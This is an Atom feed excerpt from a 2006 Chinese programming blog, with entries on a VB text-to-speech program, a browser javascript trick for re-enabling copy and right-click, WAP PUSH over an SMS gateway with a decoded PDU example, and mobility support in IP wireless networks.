&nbsp; Sub &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　'设置“下一句”按钮代码，调用AudioFastForward方法向前跳过一句 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Private &nbsp; Sub &nbsp; next_Click() &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　 &nbsp; Call &nbsp; VTxtAuto.VTxtAuto.AudioFastForward &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　End &nbsp; Sub &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　'设置“退出”按钮代码 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　Private &nbsp; Sub &nbsp; quit_Click() &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　 &nbsp; Unload &nbsp; Me &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　End &nbsp; Sub &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; 　　本程序在中文Windows &nbsp; 95/98、VB &nbsp; 5.0环境下运行通过。运行时在文本编辑框中输入或粘贴英文文档，然后单击“朗读”按钮就可播放读音，运行界面如图2。 &nbsp; &nbsp; <BR>&nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; <BR>&nbsp; 　　五、程序改进思路 &nbsp; &nbsp; <BR>&nbsp; 　　本文对在VB编程中使用TTS技术只是起个抛砖引玉的作用，熟悉VB编程的电脑爱好者来可以对本程序作一些改进，例如增加对声卡和TTS引擎是否安装的检测、增加从文本文件或数据库中读取文档的功能、增加让用户选择朗读的优先级和发声音量调节等功能。这些功能实现起来较为复杂，感兴趣的读者可进行深入研究。&nbsp;&nbsp;]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=388" /> 
	  <id>http://www.openx.cn/default.asp?id=388</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[简单的破解网页限制功能]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-11-09T17:08:42+08:00</updated>
	  <published>2006-11-09T17:08:42+08:00</published>
		  <summary type="html"><![CDATA[<P>在URL上敲</P>
<P>javascript:alert(document.onselectstart = document.oncontextmenu = document.onmousedown = document.onkeydown = function(){return true;});</P>
<P>这办法我怎么没想到呀哈哈~简单有效.</P>
<P>感谢他的作者也是《征服Ajax：Web2.0开发技术详解》的作者 王沛</P>
<P>他的Blog&nbsp;<A href="http://www.x2blog.cn/supNate/">http://www.x2blog.cn/supNate/</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=387" /> 
	  <id>http://www.openx.cn/default.asp?id=387</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[基于短信网关WAP推送的实现]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2006-11-08T17:43:59+08:00</updated>
	  <published>2006-11-08T17:43:59+08:00</published>
		  <summary type="html"><![CDATA[WAP PUSH既有信息发送主动、及时的特点，又有可随时随地接收信息的优势，因而具有良好的应用前景。该文简单介绍了WAP PUSH系统框架、推送协议和推送方式，重点介绍了通过短信网关实现WAP推送的实现方法。 <BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV><BR>　　1 WAP推送技术简介 <BR><BR>　　1.1 什么是WAP推送 <BR><BR>　　WAP推送（PUSH）技术是一种建立在客户服务器上的机制，就是由服务器主动将信息发往客户端的技术。同传统的拉（PULL）技术相比，最主要的区别在于推送（PUSH）技术是由服务器主动向客户机发送信息，而拉（PULL）技术则是由客户机主动请求信息。PUSH技术的优势在于信息的主动性和及时性。 <BR><BR>　　PUSH技术在Internet中没能取得大的成功，原因是多方面的。主要原因在于固定网中计算机等固定设备为用户提供了足够的资源和能力去查找信息所以用户通常将它作为一个浏览信息的窗口，而不是被动的信息接收者。同时固定网用户对于信息准确性的要求远甚于对其及时性的要求，因此PUSH技术未能得到广泛的应用。 <BR><BR>　　而在移动网中，由于存在着网络带宽、移动终端能力以及自费标准高昂等诸多限制，使得用户查找信息受到了一定的限制，如果将重要的信息主动及时地推送到用户的移动设备上无疑会大大方便用户。移动通信的优点是移动设备能够随时随地接收信息因此PUSH技术在移动网中可以大展拳脚，WAP PUSH正是PUSH技术和移动通信两者扬长避短相结合的产物。WAP PUSH是在移动网络中应用的PUSH技术，它结合了一般PUSH技术和移动网络的特点。它的系统框架、使用协议和服务方式与固定网上的PUSH技术有很大不同。 <BR><BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV>　　1.2 WAP PUSH系统框架 <BR><BR>　　WAP PUSH框架主要包括推送发起者（PI：PUSH Initiator）、推送代理网关(PPG：PUSH ProxyGateway)和推送客户(PC：PUSH Client)三个功能部分。PI位于Internet中，而PC在WAP领域，PI和WAP客户端所使用的协议是不同的，需要在中间建立一个协议转换网关即PPG。PPG通过推送访问协议（PAP：PUSH AccessProtocol）与PI通信，通过推送空间传输协议（PUSH OTA：PUSH over-the-Air）完成向客户推送信息的数据传输任务。 <BR><BR>　　PPG完成推送体系结构中的大部分工作，包括从Internet到移动网的访问接入，以及与其有关的认证、安全、客户端控制等所有工作。PPG所提供的主要服务包括：1)PI的标识、鉴权和访问控制；2)对推送内容进行语法分析，并依据数据类型定义（DTD）检错纠错；3)客户寻址与信息传输；4)PAP与PUSH OTA间的协议转换；5)为提高无线信道中的传输效率，对信息进行压缩、编译等处理。 <BR><BR>　　另外，PPG还可以通过别名机制实现组播和广播，即将某些特定的地址别名映射到组播或广播的操作中，具体方案可以由系统实现者决定。不同的客户端，其能力是不同的，PPG还要负责响应PI的客户能力查询请求，以便于PI针对不同的客户端构造合适的内容格式。 <BR><BR>　　1.3 推送协议 <BR><BR>　　PAP是PI与PPG间的通信协议，它使用可扩展标记语言（XML）作为消息的描述语言，通过简单的请求响应机制完成数据的传输。PAP可以在多种通信协议（包括超文本传输协议（HTTP）、简单邮件传输协议（SMTP）等）之上实现。 <BR><BR>　　而PUSH OTA是运行于无线会话协议（WSP）之上的一个较为简单的协议层，负责从PPG到客户代理的数据传输。PUSH OTA可使用面向连接的会话和无连接会话两种WSP层服务，对于使用连接会话的推送，需要在PPG和客户端间预先有一个激活的会话上下文；对于无连接的推送，则通过预留的端口来完成通信。 <BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV><BR>　　1.4 推送服务方式 <BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV><BR>　　WAP的推送协议中定义了服务指示（SI：Service Indication）和服务加载（SL：Service Load）两项服务，以给用户和网络运营者更多的选择。服务指示是将新信息的指示和相关的通用资源标识符（URI）推送给用户，由用户选择是立即处理信息还是以后处理。服务加载是将一项服务的URI推送给用户，然后客户端自动地使用PULL技术根据该URI启动服务。两种服务的区别在于用户是否介入推送信息的处理过程。SL对推送信息的处理对用户来说是透明的，而SI则在指示用户的同时，请用户对随后的处理做出选择。 <BR><BR>　　PUSH可以将某一站点或某一业务的链接通过短信发送到支持WAP PUSH功能的手机上，这样用户只需要阅读这条短信，打开短信中的链接，就可以直接访问业务了。因此，WAP PUSH实现了短信和WAP业务的结合，节省了用户寻找业务的时间，方便用户直接找到并使用自己喜欢的业务。 <BR><BR>　　2 短消息网关简介 <BR><BR>　　短消息网关（ISMG）是处于短消息中心（SMSC）和业务提供商（SP）之间的设备，它为这两个实体的数据交换提供安全、快捷的通道。网关与短消息中心之间使用SMPP协议（Short Message Peer to Peer,短消息点对点协议）, 与SP之间使用CMPP协议（China Mobile Peer to Peer,中国移动点对点协议），因此短消息网关需要完成协议的转换、计费、路由、安全和网络管理等功能。具体说来， SMPP通信代理系统主要实现网关和GSM网中短消息中心（SMSC）的连接，确保准确接收和发送数据，实现高效、可靠的数据传输。为了达到规范要求的不超过0.001%的数据丢包率，SMPP通信代理需要支持流量控制。CMPP通信代理系统主要是实现和SP服务提供商的连接，与SMPP通信代理系统不同的是，由于协议的影响，CMPP通信代理是服务器端，需等待SP的连接，而SMPP通信代理是客户端，需要主动连接SMSC。短消息网关处理系统是网关中最复杂的处理进程，它完成的任务包括：向GNS(汇接网关) 查询路由，维护路由表，进行协议转换和数据分发。防火墙系统主要为网关系统提供安全保障，它包括IP包过滤和身份验证。短信网关计费系统主要形成各种计费话单，为计费提供依据。业务管理系统主要完成对业务进行统计报告，生成报表，为运营者对用户数据的添加、修改、删除以及对网关系统的监控、查询、操作和维护提供接口和界面。 <BR><BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV>　　3 基于短信网关发送WAP PUSH <BR><BR>　　WAP PUSH的发送有两种途径，一个是通过PPG网关，另外一个是通过SMPP协议。其中SMPP是一个基本协议，在中国主要有三个由其派生的协议：中国移动的CMPP协议，中国联通的SGIP（在CDMA上是ETIP），以及小灵通的SMGP。通过中国移动的PPG网关发送WAP PUSH有着开发周期长，调测流程较复杂等不足，而使用CMPP协议即基于短信网关来进行WAP PUSH发送灵活性比较高，相对比较简单。 <BR><BR>　　3.1 WAP PUSH发送的实现模式 <BR><BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV>　　可通过计算机串口上连接GSM MODEM，用它向手机发送WAP PUSH。这种方法发WAP PUSH又分三种模式：BLOCK 模式、TEXT 模式和PDU 模式。BLOCK 模式现在用的很少了， TEXT 模式则只能发送ASCII 码,它不能发送中文的UNICODE码，而PDU 模式开发起来则较为复杂,它需要编写专门的函数来将文本转换为PDU 格式,但PDU 模式被所有手机支持，可以使用任何字符集，它也是手机默认的编码方式，所以选用PDU模式发送WAP PUSH. <BR><BR>　　3.2 PDU 模式 <BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV><BR>　　用PDU 模式发送 WAP PUSH可以使用三种编码: 7-bit 编码、8-bit 编码和UCS2 编码。7-bit 编码用于发送普通的ASCII 字符，8-bit 编码通常用于发送数据消息，UCS2 编码用于发送Unicode 字符。由于要实现中文WAP PUSH的发送,所以选择用UCS2 编码,即中文Unicode 码。 <BR><BR>　　⑴ UCS2 编码原理 所谓UCS2 编码，是将单个的字符(1-2 个字节)按ISO/IEC10646 的规定，转变为16 位 的Unicode 宽字符。即将单个的字符转换为由四位的‘0’-‘9’、‘A’-‘F’的数字和字 母组成的字符串。待发送的消息以UCS2 码的形式进行发送。 <BR><BR>　　⑵ 通过UCS2 编码我们得到中文Unicode 码，接着就可以进行发送PDU 串的编制了。从表面上看，PDU 串是ASCII 码串，同样由‘0’-‘9’、‘A’-‘F’这些数字和字母组成。它们是8 位字节的十六进制数，或者BCD 码十进制数。PDU 串除了包含所发送的消息本身外，还包含很多其它参数信息，如服务中心号码、目标号码和编码方式等 <BR><BR>例如 <BR><BR>0051000BA13108086406F600F5A7850B05040B8423F_ <BR><BR>0000303010129060603AE81EA8DCA02056A0045C6080C033231312e_ <BR><BR>3133362e3135332e33302f776170707573682f70757368496e6465782e_ <BR><BR>6a73703f7075736849643d3035303531313134313630353231000103E8A_ <BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV><BR>FB7E782B9E587BBE4BBA5E4B88BE993BEE68EA5E88EB7E58F96E5BDA9E4BFA1E58685E5AEB9000101_ <BR><BR>　　为一串可以成功发送的WAP PUSH，其中包括了汉字描述和WAP页面地址。具体分析如下 <BR><BR>00 SMSC 地址信息的长度 00表示用手机上设置短信中心号码，PDU 串的“SMSC 址格式”段和“SMSC 地址”段将省去 <BR><BR>51 基本参数(TP-MTI/VFP) 不要求发送回复 <BR><BR>00 消息基准值(TP-MR) <BR><BR>0B 对方电话的长度 <BR><BR>A1 目标地址格式 A1表示为国内格式 <BR><BR>3108086406F6 目标地址，补‘F’凑成偶数位后奇偶位互换 <BR><BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV>00 协议标识(TP-PID) 是普通GSM 类型，点到点方式 <BR><BR>F5 用户信息编码方式 (TP-DCS) <BR><BR>A7 有效期(TP-VP) <BR><BR>85 用户信息长度(TP-UDL) <BR><BR>0B WAP PUSH头部的总长度 <BR><BR>05040B8423F0表示接下来是一个WAP PUSH <BR><BR>00 表示是Concatenated Short Messages <BR><BR>03 长度 <BR><BR>03 reference number <BR><BR>01 表示分成1个短信发送 <BR><BR>01 当前包的序号 <BR><BR>29060603AE81EA8DCA WSP <BR><BR>02 标记位 <BR><BR>05 -//WAPFORUM//DTD SI 1.0//EN <BR><BR>6A UTF-8 <BR><BR>00 标记开始 <BR><BR>45 <BR><BR>C6 <BR><BR>08 <BR><BR>0C href=\"http:// <BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV><BR>03 字符串开始 <BR><BR>3231312e3133362e3135332e33302f776170707573682f <BR><BR>70757368496e6465782e6a73703f7075736849643d3035303531313134313630353231 URL <BR><BR>00 URL 字符串结束 <BR><BR>01 &gt; <BR><BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV>03 内容描述字符串开始 <BR><BR>E8AFB7E782B9E587BBE4BBA5E4B88BE993BEE68EA＿ <BR><BR>5E88EB7E58F96E5BDA9E4BFA1E58685E5AEB9 内容描述字符串 <BR><BR>00 内容描述字符串结束 <BR><BR>01 <BR><BR>01 <BR><BR>由以上分析可以看出，WAP PUSH可以被当作一种特殊的短信来发送，WAP PUSH包发送的内容实际上跟通过PPG网关发送的XML原理相同，但是经过了压缩。压缩之后的格式称为WBXML，这种格式将一些标记用代码来表示。然而WBXML的缩略标记分为两部分，一部分是所有类型的XML都通用的，另一部分是不同类型的XML有着不同的解释。 <BR><BR>用户接收到此类信息时，在客户端手机支持WAP的情况下，可以直接访问到信息中加载的WAP网站地址，这样服务器也达到了推广业务方便用户使用的目的。由于在UCS2 编码方式下，可发送短消息的最大字符数是140字节，即WAP PUSH中的推送URL与描述文字的总字符数为140，因此描述文字的字数限制与推送的URL长度有关。 <BR><BR>4 结束语 <BR><BR>WAP PUSH技术结合了PUSH技术的优势和移动通信服务的特性，具有良好的应用前景。但是WAP PUSH技术仍然存在着一些亟待解决的问题，如信息的鉴权与认证、信息的准确性、如何避免垃圾信息等。如何解决好这些问题将是WAP PUSH技术成功的关键。另外，随着GPRS技术和3G无线通信技术的发展，无线信道的带宽将逐步增大，WAP PUSH也将能进一步推送多媒体信息,有着更宽广的应用前景。<BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=386" /> 
	  <id>http://www.openx.cn/default.asp?id=386</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[基于IP无线网络中的移动性]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-11-02T16:05:22+08:00</updated>
	  <published>2006-11-02T16:05:22+08:00</published>
		  <summary type="html"><![CDATA[<P>&nbsp;&nbsp;&nbsp; 摘要　基于IP的无线网络将成为下一代移动网络的核心。在全IP无线网络中，移动性对多媒体应用起着十分重要的作用。文中探讨了基于IP的无线网络中的一些重要问题，包括移动IP、移动IPv6和其它相关的一些技术。还讨论了无线局域网（WLAN）、无线广域网（WWAN）、2G以及3G蜂窝网和下一代混合移动网络中关于移动性支持等问题。 </P>
<P><STRONG>0、引言</STRONG> </P>
<P>　　随着因特网应用的不断发展和便携、掌上电脑的广泛使用，人们对于移动性支持的要求也在不断提高。随着技术的不断发展，移动无线网络将逐步演进到一个全IP的网络架构以支持多媒体业务，在该架构下，移动性支持将成为其中一个重要问题。本文首先介绍了不同IP网络（移动IPv6、WLAN、WWAN）中的移动性支持问题，还讨论了目前蜂窝网络和下一代基于IP的混合蜂窝网络中关于移动性支持的最新进展情况。 </P>
<P><STRONG>1、移动IP</STRONG> </P>
<P>　　因特网中最初的IP版本是不支持主机移动性的，因为在传统的IP中，附着在网络中的节点是不发生移动的，其IP地址可以标识一个特定的网络位置。移动IP（如移动IPv4）就是为了提供主机的移动性而提出的。由因特网工程任务组（IETF）提出的移动IPv4标准包括以下功能实体： </P>
<P>　　a）移动节点（MN）：一台可以在因特网上移动的主机或者路由器，且在移动过程中可以保持正在进行的通信会话。文中移动节点和移动主机（MH）可以互换。 </P>
<P>　　b）归属代理（HA）：一台维持注册MN列表的路由器。当MN离开归属网络时，该路由器可以将发送给该MN的数据包转给MN的拜访网络。 </P>
<P>　　c）外地代理（FA）：一台与MN拜访网络有接口的路由器，它可以向MN的HA发送该MN当前的转交地址（care-of address）。 </P>
<P>　　d）转交地址（CoA）：用于标识MN当前位置的本地IP地址。 </P>
<P>　　e）配置转交地址（Collocated CoA）：通过外部获得的临时分配给MN的一个本地IP地址。 </P>
<P>　　f）对应节点（CN）：与MN进行通信的对等主机。 </P>
<P>　　g）归属地址：分配给MN的一个永久性IP地址。 </P>
<P>　　h）隧道：一条从HA到FA传送数据包的路径，是通过封装数据包的形式来实现的。 </P>
<P>　　移动IP使用两个IP地址：a）固定的（永久的）归属地址；b）用于MN移动性的转交地址。移动IP主要通过代理发现、注册和隧道3个主要协作过程实现。 </P>
<P>　　1）代理发现 </P>
<P>　　当MN移动到外地IP网络时，它通过该过程来进行附着。当MN连接在它的归属网络时，其工作方式与传统的具有固定位置的节点相同。当MN检测到它移动到了一个外部网络后，从与之相关的FA上，通过代理广播，它可以直接获得一个转交地址，或在本地网络上通过动态主机配置协议（DHCP）获得一个配置转交地址。 </P>
<P>　　2）注册 </P>
<P>　　当MN进入并保留在外地网络时，通过该过程MN向相关的FA请求服务，并向相关HA通知它的新CoA。如果MN获得了一个新的配置CoA，那么它可以直接通知HA。注册包括HA与MN之间的注册请求和注册应答两种消息的交换。通过该过程HA便可以将新的CoA和MN的归属地址联系在一起。该过程也被称作绑定更新。 </P>
<P>　　3）隧道 </P>
<P>　　在隧道过程中，HA对数据包的封装采用了将IP数据包封装在另一个IP数据包的方法，也就是说HA将具有归属网络地址的IP数据包的头部插入一个新的IP头，即MN的转交地址。当使用FA CoA时，FA接收到封装的数据包后，只要去掉隧道的头部并将剩余部门传递给MN即可。如果使用的是配置CoA，那么HA将把封装后的数据包直接发送给MN，由MN对接收到的数据包进行解封。 </P>
<P>　　移动IP中的路由如图1所示。&nbsp;&nbsp;</P>
<P align=center><IMG src="http://www.chinaunicom.com.cn/upload/20061102022009999.jpg"></P>
<P align=center>图1　移动IP中的三角路由 </P>
<P>　　在移动IP中使用三角路由。在该路由中，由固定主机（CN）发送给MN的数据包首先根据标准的IP协议发送给MN的HA，HA将数据包进行封装，通过隧道将数据包发送给MN的转交地址，FA将收到的数据包解封并传送给MN。尽管三角路由简单易用，但是由于它的路由是从CN到HA，然后再到MN，因此其效率较低。由于HA有大量的数据包通过，因此其开销将成为系统性能的瓶颈。 </P>
<P>　　为了解决移动IP中的三角路由问题，人们对路由进行了优化。在路由优化中，MN将它的转交地址通知CN，这样CN就可以不再通过HA而直接与MN进行通信。优化的移动IP路由允许每个CN都要缓存HA和MN的绑定。利用这个绑定CN就能直接与MN进行通信。尽管看起来优化路由的QoS会得到改善，但是路由优化的实现非常复杂，缓存的开销也会非常大。而且对于优化路由而言，安全管理是一个主要的难点，因为在该环境下如果MN的转交地址是已知的，那么恶意节点通过发送虚假注册信息就可以很容易地将所有与该MN的通信切断。目前对优化路由而言，授权和安全性依然是个有待研究的问题。 </P>
<P><STRONG>2、移动IPv6</STRONG> </P>
<P>　　IPv4地址大小仅有32bit，它的寻址能力越来越不能满足因特网日益发展的要求。从1994年开始，IETF就开始研究IPv6，解决IPv4中固有的局限性，包括寻址能力、路由、移动性支持和QoS保证。在IPv6中，其地址大小是128bit，使因特网具备支持多级寻址、更多的可寻址节点和更简单的地址自动配置功能。IPv6被看作是下一代IP网络的核心协议。 </P>
<P>　　在IPv6中，对移动性支持的网络实体与IPv4很类似，只不过没有了FA的概念。在IPv6中，它使用一个可扩展的分组头（包括归属地址、转交地址以及授权包头）简化到MN的路由，并以安全的方式进行路由优化。当然，转交地址的发现仍然是需要的，在IPv6中，MN使用自动配置和临节点发现功能，从外地网络中获取配置转交地址。移动IPv6中仍然使用与IPv4相同的封装方式向MN传送数据包。如果CN已知MN的转交地址，CN利用IPv6路由包头就可以直接向MN发送数据包。否则，数据包将首先被送到相关的HA中，然后由它通过隧道将数据包送达MN的转交地址。 </P>
<P>　　IPv6在安全管理上与IPv4有很大差别。在移动IPv6中，所有节点都希望进行严格的授权和加密。IPv6既可以使用隧道也可以使用源路由向MN传送数据包，在IPv4中只能通过隧道方式。通过精细的安全管理，在移动IPv6中进行路由优化是可以解决的。移动IPv6的路由如图2所示。 </P>
<P align=center><IMG src="http://www.chinaunicom.com.cn/upload/20061102022055676.jpg">&nbsp;</P>
<P align=center>图2　移动IPv6的路由 </P>
<P>　　2.1　分级的移动IPv6 </P>
<P>　　在移动网络中，MN的快速移动会导致大量绑定更新的发送。由于对移动性的支持，当MN数量增加时，其信令业务也会增加。为了提高移动管理效率，人们提出了分级的移动IPv6机制，其基本思想就是利用区域性注册减小全部注册开销，改善移动通信在切换时的QoS。 </P>
<P>　　具有分级结构的移动IPv6如图3所示。 </P>
<P align=center><IMG src="http://www.chinaunicom.com.cn/upload/20061102022129514.jpg">&nbsp;</P>
<P align=center>图3　具有分级结构的移动IPv6 </P>
<P>　　在分级的移动IPv6引入了移动锚点（MAP）的概念。MAP在网络域中对MN的移动性管理进行处理，包括注册和切换。MAP的功能类似于本地HA，它代表MN接收数据包，并通过隧道将数据包传送给MN的转交地址。一个MN分配两个转交地址，一个是区域性的，另一个是本地的。区域性的转交地址是对MAP的覆盖区域而言，本地转交地址与MN的移动IPv6转交地址相同。MN与CN通过它的区域性转交地址进行通信。当MN移动出MAP区域后，它仅向CN发送绑定更新，否则它仅向MAP发送绑定更新以更新它的本地转交地址。CN接收到的所有数据包都将MN的区域转交地址作为源地址。MAP检测发向该转交地址的数据包，封装后利用MN的本地转交地址将数据包发送给MN。 </P>
<P>　　由于移动IPv6具有更多地址、分级扩展和安全管理，因此，它能保证MN之间的对等业务（P2P），因为移动IPv6允许MN在运动中仍然保持它的静态地址。如果没有静态地址，MN就必须通过一个服务器进行通信，这样就违背了P2P的技术要求。 </P>
<P>　　2.2　安全要求 </P>
<P>　　在移动IP和移动IPv6中，CoA的注册过程需要鉴权，防止其它恶意节点假借MN进行注册。为了提高注册过程的安全性，对于移动IP和移动IPv6，所有的HA、MN、FA都必须进行鉴权。此鉴权算法为MD5（keyed message digest 5）算法。通常，MN的移动性是由动态的网络结构和位置管理支持的，因此，由于移动性的原因，网络安全就显得尤为重要。 </P>
<P>　　IETF利用鉴权、授权、计费（AAA）支持MN在无线因特网中的漫游安全。 </P>
<P><STRONG>3、WLAN对IP移动性的支持</STRONG> </P>
<P>　　3.1　Wi-Fi技术 </P>
<P>　　Wi-Fi（Wireless fidelity）技术可以认为是任何类型的802.11网络，即802.11a、802.11b、802.11g等。任何得到Wi-Fi联盟认证的产品都可以互通，不管它们是不是同一个厂家的产品。Wi-Fi的这个特性可以更好地支持移动性。通常Wi-Fi产品均使用同样的无线频率（如802.11b和802.11g采用2.4GHz，802.11a采用5GHz）。 </P>
<P>　　最初该网络是为扩张的企业网而设计的，目前，Wi-Fi已经用作宽带接入到很多公众区域，如学校、宾馆及会议中心。移动IP可以为Wi-Fi提供很好的漫游服务，这时，Wi-Fi被看作是一个拜访网络。 </P>
<P>　　3.2　WLAN中基于DHCP的移动性支持 </P>
<P>　　传统IP将整个WLAN看作是一个子网，其中所有的主机都有同样的地址前缀。目前，WLAN的移动性支持通过使用DHCP实现。当MN在一个外部WLAN时，它便请求分配一个IP地址（即转交地址），此时服务器便会从地址池中返回一个有效的IP地址。如果地址配置成功，那么MN便可以在WLAN内进行通信。基于DHCP的移动性支持比较容易实现，但它无法支持MN在不同WLAN之间的漫游。 </P>
<P>　　具有多个子网的MN必须能从一个子网无缝地漫游到另一个子网。WLAN的接入点可以在数据链路层提供对漫游的支持。当MN在网内移动时，它必须自动与不同的接入点联系。同时，当MN在子网间漫游时，也需要网络层有机制来保证MN能得到一个特定的IP地址，从而保证其连续通信。 </P>
<P>　　3.3　移动IP解决方案 </P>
<P>　　IPv4和IPv6通过将WLAN看作是一个子网且具有多个接入点来解决移动性问题。为了实现移动IPv4和移动IPv6，移动IP服务器和移动IP代理软件这两个主要的组件是必需的。移动IP服务器可以完全实现移动IP中HA的功能，为MN提供移动性管理。当MN在通信过程中移动到另一个子网的边界时，移动IP网络层的切换过程便开始了。它首先在媒体接入控制层（MAC）使HA与新FA进行握手，在完成切换后，发给MN的数据包由HA通过隧道发送到新的子网，然后发送给MN。 </P>
<P><STRONG>4、无线WAN对IP移动性的支持</STRONG> </P>
<P>　　目前，WLAN的思想已扩展到了无线WAN，在目前的无线宽带WAN技术中，WiMax是最受人关注的技术。WiMax技术基于成熟的IEEE 802.16标准，该标准规范了无线WAN的无线技术和点到多点的无线网络。IEEE 802.16将它的MAC层分为子层，用于支持不同传输技术，包括IPv4、IPv6、以太网、异步传输模式（ATM），从而使WiMax技术可用于多种不同的传输技术。 </P>
<P>　　WiMax扩展了Wi-Fi的覆盖范围，它可以提供固定的和移动的无线宽带接入而无需视距传播，典型的小区半径是3km-10km，WiMax系统希望可以达到每信道40Mbit/s的传输速率。这个带宽是非常高的，下一代移动通信中的高速下行分组接入（HS-DPA）技术的理论速率只有14.4Mbit/s。 </P>
<P>　　与Wi-Fi相比，WiMax的小区相对大些，因而可以支持更多的MN。尽管早期版本的IEEE802.16a和IEEE 802.16d都不支持域间移动性，然而IEEE 802.16e可以在步速下支持该移动性。WiMax目前已开始在IP层增加对移动性的支持。 </P>
<P><STRONG>5、蜂窝网和混合移动网络对移动性的支持</STRONG> </P>
<P>　　蜂窝网传统上是通过电路交换技术提供语音业务，蜂窝网络比较复杂。目前我国的蜂窝网络正从2G向3G过渡，其目标就是通过全IP网络架构提供高速多媒体业务。全IP的蜂窝网可以看作是基于IP的无线接入网（RAN）、全IP核心网和IP终端的组合。基于IP的RAN主要提供无线承载和无线资源管理。IP核心网结构包括分组核心网和新的IP多媒体子系统（IMS）。 </P>
<P>　　3G蜂窝技术主要包括统一移动通信系统（UMTS）和CDMA2000系统。UMTS是从GSM演进而来的，而CDMA2000是从CDMAOne演进而来的。这两种技术都把移动和IP技术结合在一起，提供个人通信。UMTS和CDMA2000都通过隧道支持用户移动性。目前二者仅在链路层解决其移动性，还尚未在IP层解决该问题。可以看出在同一个区域可能存在几个不同无线网络的叠加，包括2G网络、3G网络、WLAN、无线WAN等。移动IPv6和它的分级移动性管理扩展将为网络间移动性和网络内部移动性提供很好的解决方案。在具有分级结构的移动IPv6技术下，移动IPv6将管理全球的移动性问题，而MAP则管理本地移动性问题。安全性和QoS在移动性上都有保证。 </P>
<P><STRONG>6、结束语</STRONG> </P>
<P>　　可以看出移动IP和移动IPv6是无线因特网实现移动性的关键技术。为了更好地改善移动IPv6的性能，人们提出了分级的IPv6技术。由于基于IP网络结构的原因，加密和鉴权都是必需的。基于IP的无线网络将是未来蜂窝网络的核心。在具有多个无线网络重叠的区域，移动IPv6和它的分级移动性管理扩展将提供网络问移动性和网络内部的移动性。但目前如何更加有效、安全地实现移动性仍然是有待进一步研究的问题。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=383" /> 
	  <id>http://www.openx.cn/default.asp?id=383</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[3G移动通信网基站接入解决方案探讨]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-11-02T16:02:48+08:00</updated>
	  <published>2006-11-02T16:02:48+08:00</published>
		  <summary type="html"><![CDATA[<P>摘要　文章基于对3G移动通信网基站接入传输需求的分析，对3G移动网基站的接入方案进行了分析论述，对3G基站传输网的初期建设提出了建议。 </P>
<P><STRONG>1、引言</STRONG> </P>
